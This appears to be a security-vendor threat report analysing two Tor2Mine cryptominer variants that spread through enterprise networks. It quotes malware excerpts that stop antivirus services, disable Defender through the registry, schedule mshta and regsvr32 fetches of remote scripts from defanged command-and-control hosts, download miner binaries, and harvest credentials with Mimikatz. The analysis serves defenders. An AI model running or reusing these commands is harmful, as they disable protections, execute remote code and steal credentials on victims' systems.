Threat Research

Two flavors of Tor2Mine miner dig deep into networks with PowerShell, VBScript

Using remote scripts and code, one variant can even execute filelessly until it gains administrative credentials.

Over the past few months, we’ve seen quite a few cryptocurrency mining campaigns leveraging the latest wave of widespread enterprise server software vulnerabilities, including the ProxyShell/ProxyLogon exploits targeting on-premises Microsoft Exchange Server deployments and VMware vCenter. Usually, these intrusions are limited in scope.

But we’ve seen a return of a miner variant that goes much further. Previously identified as Tor2Mine by researchers (because of the use in some variants of a Tor gateway to communicate with the coin miner’s command and control server). Based on XMRigCC , a centrally-configurable miner intended for leveraging whole networks of worker machines, this Monero-mining campaign continues to evolve as its operators try to find new ways to evade defenses and maintain a presence on infected networks.

Tor2Mine uses a PowerShell script that attempts to disable malware protection, execute a miner payload and harvest Windows credentials. Using those credentials, Tor2Mine can spread itself, and will continue to re-infect other systems on the compromised network if not completely eradicated and malware protection is not present.

On systems where it manages to gain administrative credentials, Tor2Mine installs executables as a service, and then searches for other machines on the network that it can remotely execute installation scripts on to spread further.

On systems where it does not gain administrative privileges, Tor2Mine can execute filelessly by way of commands run as scheduled tasks. Sophos telemetry saw a surge of detections for Tor2Mine (detected as the Mal/MineJob family) early in 2021. Since then, while declining overall, we’ve seen the introduction of new variants.

Since June, we’ve seen two different takes on Tor2Mine showing up repeatedly in  our telemetry. While we’ve seen two specific sets of infrastructure associated with these variants, we discovered minor differences in other samples  discovered in VirusTotal data from the same period—suggesting minor tweaks by different sets of operators or by the same actors between campaigns. But the underlying game plan is almost always the same: by exploiting a remote code execution bug, the miner operator launches a PowerShell script that attempts to shut down malware protection and open up shop.

Both scripts attempt to shut down anti-malware protection, searching the Windows registry for installed products and sending commands to stop services. Both retrieve additional scripts (both PowerShell and VBScript) from a command and control server in an attempt to prevent analysis of their attack. And both install the same miner code, using detection of the targeted system’s processor and operating system version to determine whether to install a 32-bit or 64-bit version of the miner.

There are two basic takes on the variants: one expects to have system level privileges when executed and exploits that in spreading, while the other tests to see what privileges are available.

Cashing in on access

The first type of Tor2Mine variant we’ve encountered is deployed after the actor has already achieved system-level or administrator-level privileges through the initial access exploit. It checks for the architecture of the local processor in its first few lines as it sets variables for the rest of the script.

$arch = Get-WmiObject Win32_Processor Select-Object -Exp AddressWidth 
$WebClient = New-Object System.Net.WebClient 
$WarningPreference = "SilentlyContinue" 
$erroractionpreference = "SilentlyContinue" 
$LogCommandLifeCycleEvent = $false 
if((test-path "$tskPath\Microsoft\Windows\WDI\UPDShell") -eq $true) 
  { cmd /c SCHTASKS /delete /tn \Microsoft\Windows\WDI\UPDShell /f out-null


Then it attempts to take out malware protection—in this case, MalwareBytes and Sophos are targeted, as well as Windows Defender. (This behavior is blocked by AMSI-enabled behavior detection and tamper protection in Intercept X.)

where-object {$_.Name -eq "MBAMService"}) -ne $null) {
C:\Windows\System32\cmd.exe /c sc stop MBAMService
C:\Windows\System32\cmd.exe /c sc delete MBAMService
C:\Windows\System32\cmd.exe /c sc stop MBAMProtection
C:\Windows\System32\cmd.exe /c sc delete MBAMProtection
where-object {$_.DisplayName -like "*Sophos*"}) -ne $null)
where-object {$_.DiplayName -like "*Sophos*"}
foreach {cmd /c sc stop $_.Name}
cmd /c sc stop WinDefend
cmd /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
cmd /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
cmd /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
cmd /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f

Next, it begins installing scripts to download other scripts needed to prepare the target for optimal mining operations. It looks for earlier instances of control scripts and zaps them, and then drops a remote script (after deleting any versions of it left by previous installations):

if((test-path "C:\Windows\del.bat") -eq $true) {
rm C:\Windows\del.bat -force
if($(test-file "C:\Windows\del.ps1") -eq $true) {
rm "C:\Windows\del.ps1" -force
New-service -name "MalwareDel" -DisplayName "Microsoft Security Essentials" -StartupType Automatic -BinaryPathName "powershell -exec bypass -e QwA6AFwAVwBpAG4AZABvAHcAcwBcAEYAbwBuAHQAcwBcAGQAZQBsAC4AcABzADEA" -Description "Microsoft Antivirus Core Service" -ErrorAction Stop
} catch {}
cmd /c schtasks /create /tn \Microsoft\Windows\SetUpd /sc HOURLY /f /mo 1 /tr "powershell -exec bypass -e QwA6AFwAVwBpAG4AZABvAHcAcwBcAEYAbwBuAHQAcwBcAGQAZQBsAC4AcABzADEA" /ru "NT AUTHORITY\SYSTEM" /RL HIGHEST 
Start-Sleep 1

Because these scripts (and the rest of the scripts associated with Tor2Mine) are largely loaded from their remote sources, or are self-deleting, they are not left on targeted machines; we were able to uncover some of them with VirusTotal.  The encoded command is the downloaded del.ps1 script, which gets instantiated as a service called “MalwareDel.” And in fact, it does delete malware—specifically, other miners that may have been installed on the system.

The del.ps1 script is heavily obfuscated. Its actual contents are embedded in a Base64-encoded, compressed text string:

iEX(neW-OBJEcT Io.coMPrESsION.DEFlatEstrEAM( [io.memoRysTReAM][SYstem.CONVerT]::fRoMbAsE64STrInG(
% {neW-OBJEcT Io.sTREamreadeR($_, [SyStem.text.ENCodiNG]::aScIi) }).rEadtOeNd( )

This decompresses to a 116-line script that kills a variety of processes, services and tasks—almost all of them other crimeware, including a variety of coinminers and “clipper” malware that steals wallet addresses.

Next, the main dropper script configures a series of remote VBScript script files as scheduled tasks.

cmd /c SCHTASKS /create /tn \Microsoft\Windows\WDI\UPD /sc HOURLY /f /mo 5 /tr "cmd /c mshta hxxp://eu1[.]" /ru "NT AUTHORITY\SYSTEM"
cmd /c SCHTASKS /create /tn "\Microsoft\Windows Defender\ScannerSchduler" /sc DAILY /f /mo 1 /tr "cmd /c mshta hxxp://" /ru "NT AUTHORITY\SYSTEM"
cmd /c SCHTASKS /create /tn "\Microsoft\Windows\Diagnosis\ScheduledDiagnosis" /sc DAILY /f /mo 2 /tr "cmd /c mshta hxxps://" /ru "NT AUTHORITY\SYSTEM" /RL HIGHEST

These remote scripts have a common feature— when they execute, they pop up a window that is quickly moved off-screen and sized to zero. Two of these scripts (both named upd.hta) are variations on the same code, and download additional scripts.

The other script, check.hta, is here retrieved via a Tor gateway website. The script downloads another PowerShell script, check1.ps1 — a variation on the main dropper script that re-establishes the miner deployment. It also deploys v1.exe, an that creates and executes VBScript files written to temporary folders (such as %TEMP%\2b47.tmp\2b87.tmp\2b90.vbs). This is the mechanism Tor2Mine uses to spread across a network, (discussed later in this report).

The main script also creates a scheduled task to fire off a PowerShell command:

cmd /c schtasks /create /tn \Microsoft\Windows\Multimedia\SystemVideoService /tr "cmd /c powershell -nop -noni -w 1 -enc cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpADoAaAB0AHQAcAA6AC8ALwAxADAANwAuADEAOAAxAC4AMQA4ADcALgAxADMAMgAvAHAAaABwAC8AZgB1AG4AYwAuAHAAaABwACAAcwBjAHIAbwBiAGoALgBkAGwAbAA=" sc daily /mo 2 /f /ru SYSTEM/

Decoded, that PowerShell command is the exploitation of Window’s regsvr32.exe to execute a remote script with the script object dynamic-link library daily:

regsvr32 /u /s /i:hxxp://83[.]97.20.83/win/php/func.php scrobj.dll

This script is yet another remote VBScript from a redundant C2, just in case the original C2 gets blocked.

The main script then checks for and kills a variety of scheduled tasks—most of them tasks with names that correspond to names given to the miner executable and other malicious tasks and services. And then it downloads the actual miner (in this case, named C:\Windows\services.exe). The script sets permissions for services.exe , granting them to the “world” group (all users), deletes anything already named that, and then drops a processor-appropriate version of the miner at that name, configuring it with the task name “WinSockets”:

cmd /c attrib -s -h C:\Windows\services.exe
cmd /c icacls "C:\Windows\services.exe" /grant *S-1-1-0:F 
cmd /c wmic process where ExecutablePath='C:\\Windows\\services.exe' delete
stop-process $((gwmi win32_process
where-object {$_.ExecutablePath -eq "C:\Windows\services.exe"}).ProcessID) -force
where-object {$_.Path -like "C:\Windows\services.exe"}
stop-process -force
rm C:\Windows\services.exe -force
IF ($arch -eq "64")
cmd /c schtasks /create /TN \Microsoft\Windows\Ras\WinSockets /TR "c:\windows\services.exe" /ST 00:00 /SC once /DU 599940 /RI 1 /F /RL HIGHEST /RU SYSTEM
cmd /c schtasks /TN \Microsoft\Windows\Ras\WinSockets /run
cmd /c SCHTASKS /create /tn \Microsoft\Windows\UPnP\UPnPHostSearch /sc minute /f /mo 1 /tr "cmd /c schtasks /run /TN \Microsoft\Windows\Ras\WinSockets" /RL HIGHEST /ru "NT AUTHORITY\SYSTEM"
cmd /c SCHTASKS /tn \Microsoft\Windows\UPnP\UPnPHostSearch /run
stop-process -name "mshta" -force
cmd /c schtasks /tn \Microsoft\Windows\SetUpd /run

At the end, it clears all running Windows scripts by forcing processes associated with mshta.exe to close, and launches the task tied to the remote updater scripts.

Check your privilege

The second new Tor2Web variant we’ve seen recently works in similar fashion, but its developer has decided that the script needs to be more maintainable—so they’ve broken its flow down into functions. First, it sets a variable called $priv to determine whether the active user it runs under is an administrator, and performs an operating system version check for the variable $osver:

$W = New-Object System.Net.WebClient
$arch = Get-WmiObject Win32_Processor | Select-Object -Exp AddressWidth
$priv = [bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")
$osver = ([environment]::OSVersion.Version).Major
$WarningPreference = "SilentlyContinue"
$erroractionpreference = "SilentlyContinue"
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }

This variant makes use of defined functions to reuse parts of the script, using the boolean value of $priv to define the script’s flow:

IF ($priv -eq $true)
start-sleep 1
} else
start-sleep 1

get-process -name "mshta" -ErrorAction SilentlyContinue | ForEach-Object {
stop-process -id $_.Id }

Commented out in this version of the script is the “mimi” function, which runs a PowerShell version of the Mimikatz credential harvesting tool (kallen.ps1). This feature is not disabled in checking.ps1, this variant’s version of the check1.ps1 script, and in some other versions of this variant.

There are two major differences between the privileged and non-admin routes for the script. The first is that in the privileged version of the flow, the script attempts to stop antivirus processes, which is not attempted when the script does not have administrator-level access.

The second difference is that in situations where the primary script of this variant is running with administrator privileges, it installs the miner as “java.exe” in an “Oracle” folder. If the system is running the 64-bit version of Windows, the script also installs a driver to take advantage of the graphics adaptor on the system.

Function PrivTrue()
if ((test-path C:\ProgramData\Oracle\Java) -eq $false)
# mkdir C:\ProgramData\Oracle | out-null
# mkdir C:\ProgramData\Oracle\Java | out-null
New-Item "C:\ProgramData\Oracle\Java" -ItemType Directory | out-null
IF ($arch -eq "64")
$W.DownloadFile("hxxp://83[.]97.20.81/win/min/64.exe", "C:\ProgramData\Oracle\Java\java.exe")
$W.DownloadFile("hxxp://83[.]97.20.81/win/min/32.exe", "C:\ProgramData\Oracle\Java\java.exe")

if ( (!$(test-path "C:\Windows\System32\WinRing0x64.sys")) -and ($arch -eq "64") )
$W.DownloadFile("hxxps://83[.]97.20.81/win/deps/rx.exe", "C:\Windows\System32\WinRing0x64.sys")

It’s probably not coincidental that the host used to download these executables is in the same subnet as the secondary C2 for the first variant we looked at—both are hosted by the same provider in Romania.

On the other hand, if the main script executes without administrator-level privileges, then it takes a very different tack: it sets up a number of scheduled tasks like those in the first variant we saw, one of which runs checking.ps1—but downloads the script for execution from the C2, rather than storing it locally.

This script writes and executes a batch file, PrivFalse.bat, as a scheduled task. It also executes the Mimikatz remote script, attempting to get credentials to gain administrative privileges, and to attempt to spread throughout the network of the targeted organization.

Enlarging the farm, plowing under the competition

In both variants, the “check” step of the deployment installs scripts that are intended to expand the footprint of the miner deployment. The first variant uses  WScript and Windows Management Instrumentation to iterate through systems discovered on the network and further spread the miner.

The scripts are used to collect system information about other computers, discovering their operating system version.

Function OSType()
strComputer = "."
Dim objWMI, objItem, colItems
Dim OSVersion, OSName, ProductType
Set objWMI = GetObject("winmgmts://" & strComputer & "/root/cimv2")
Set colItems = objWMI.ExecQuery("Select * from Win32_OperatingSystem",,48)
For Each objItem in colItems
OSVersion = Left(objItem.Version,3)
ProductType = objItem.ProductType

The script then uses the OS version to determine which version of the miner to be installed. It kills old versions of the miner, and installs the miner and a fresh copy of the remote “check” script as a scheduled task on each discovered machine.

The second variant uses Mimikatz to mine for credentials. It uses a script named ichigo-lite.ps1 to scan the network for available IP addresses, create a table of credentials in memory of the machine it executes on, and then uses Invoke-Command to remotely execute scripts on the found IP addresses to infect them.

Canary in the coin mine

Tor2Mine , like many other miners we’ve discovered in recent cases, is almost always a sign of vulnerability to other, potentially more dangerous network intrusions. It exploits networks with known vulnerabilities on their servers to gain entry—vulnerabilities that are easily detected from the Internet by network scans looking for telltales. Miners are a low-risk way for cyber criminals to turn a vulnerability into digital cash, with the greatest risk to their cash flow being competing miners discovering the same vulnerable server that they gained entry with. But as we’ve seen in other recent cases, the same defensive gaps that allow miners to spread can lead to data and credential theft, as well as ransomware.

Unlike other miners, Tor2Mine is much more difficult to root out once it’s established a foothold on a network without the assistance of endpoint protection software and other anti-malware measures. Because it spreads laterally away from the initial point of compromise, it can’t be eliminated just by patching and cleaning one system. The miner will continually attempt to re-infect other systems on the network, even after the C2 server for the miner has been blocked or goes offline.

Organizations that quickly patch software vulnerabilities on Internet-facing systems (such as web applications, VPN services, and email servers) are far less likely to fall victim to coin miners. And miners are usually easily detected by antimalware products—particularly those that leverage Windows’ Anti-Malware Software Interface to spot scripts intended to shut down malware protection. Sophos detects Tor2Mine variants as the MineJob family (MineJob-A through E), and detects the script behaviors of each variant. Indicators of compromise for the Tor2Mine variants discussed in this report are available on SophosLabs’ GitHub page.

SophosLabs would like to acknowlege Vikas Singh of Sophos Rapid Response and Rajesh Nataraj of SophosLabs for their contributions to this report.

Leave a Reply

Your email address will not be published. Required fields are marked *